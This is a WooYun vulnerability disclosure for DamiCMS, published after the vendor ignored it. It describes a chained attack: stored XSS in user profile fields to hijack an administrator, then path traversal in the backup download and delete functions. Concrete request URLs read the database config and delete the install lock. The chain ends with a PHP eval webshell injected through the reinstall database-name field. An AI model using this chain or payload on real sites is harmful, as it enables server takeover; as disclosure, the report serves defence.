当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-072816

漏洞标题:大米cms多个漏洞组合写shell

相关厂商:大米cms

漏洞作者: JJ Fly

提交时间:2014-08-19 15:45

修复时间:2014-11-17 15:46

公开时间:2014-11-17 15:46

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-19: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-11-17: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

大米cms多个漏洞组合写shell

详细说明:

首先我们先来说下他的 xss。
几乎没有过滤。(注册帐号,用户信息修改)
我们先来注册个帐号。

图片1.png


注册成功之后我们就不管了 。
坐等管理员去后台查看会员信息。

图片2.png


图片3.png


这样我们就可以登录管理员帐号了。
再来任意文件下载 and 删除。

图片4.png


先备份一下数据库 (数据库命名有规律,可被暴力破解。年月日_4位随机数_1.sql )

图片5.png


我们来查看下 下载以及删除文件的连接。
?m=Backup&a=del&id=20140817_9550_1.sql
?m=Backup&a=down&id=20140817_9550_1.sql
然后去找了一下那两个函数

//下载还原
public function down()
{
$filepath = './Public/Backup/'.$_GET['id'];
if (file_exists($filepath))
{
$filename = $filename ? $filename : basename($filepath);
$filetype = trim(substr(strrchr($filename, '.'), 1));
$filesize = filesize($filepath);
header('Cache-control: max-age=31536000');
header('Expires: '.gmdate('D, d M Y H:i:s', time() + 31536000).' GMT');
header('Content-Encoding: none');
header('Content-Length: '.$filesize);
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Type: '.$filetype);
readfile($filepath);
exit;
}
else
{
$this->error('出错了,没有找到分卷文件!');
}
}
//删除分卷文件
public function del()
{
$filename = trim($_GET['id']);
@unlink('./Public/Backup/'.$filename);
$this->assign("jumpUrl",U("Backup/restore"));
$this->success($filename.'已经删除!');
}


两个函数都没有进行过滤
我们来下载一下 数据库的 配置文件

http://localhost/admin.php?m=Backup&a=down&id=../Config/config.ini.php


查看到之后,我们把install.lck删除掉

http://localhost/admin.php?m=Backup&a=del&id=../../install.lck


然后会提示我们 install.lck已经删除
通过重新安装cms,可以进行写shell。

//修改配置文件
$fp = fopen($source_file,"r");
$configStr = fread($fp,filesize($source_file));
fclose($fp);
$configStr = str_replace('localhost',$dbhost,$configStr);
$configStr = str_replace('damidb',$dbname,$configStr);
$configStr = str_replace("'DB_USER'=>'admin'","'DB_USER'=>'{$dbuser}'",$configStr);
$configStr = str_replace("'DB_PWD'=>'admin'","'DB_PWD'=>'{$dbpwd}'",$configStr);
if($dbport!='3306'){$configStr = str_replace("'DB_PORT'=>'3306'","'DB_PORT'=>'{$dbport}'",$configStr);}
$fp = fopen($target_file,"w") or die("<script>alert('写入配置失败,请检查$target_file是否可写入!');history.go(-1);</script>");
fwrite($fp,$configStr);
fclose($fp);


$source_file为其cms保存的一个模版配置文件,

图片6.png


数据库名
damicms',1=>eval($_POST[c]),'xx'=>'

漏洞证明:

效果
\Public\Config\config.ini.php

图片7.png


图片8.png


修复方案:

版权声明:转载请注明来源 JJ Fly@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝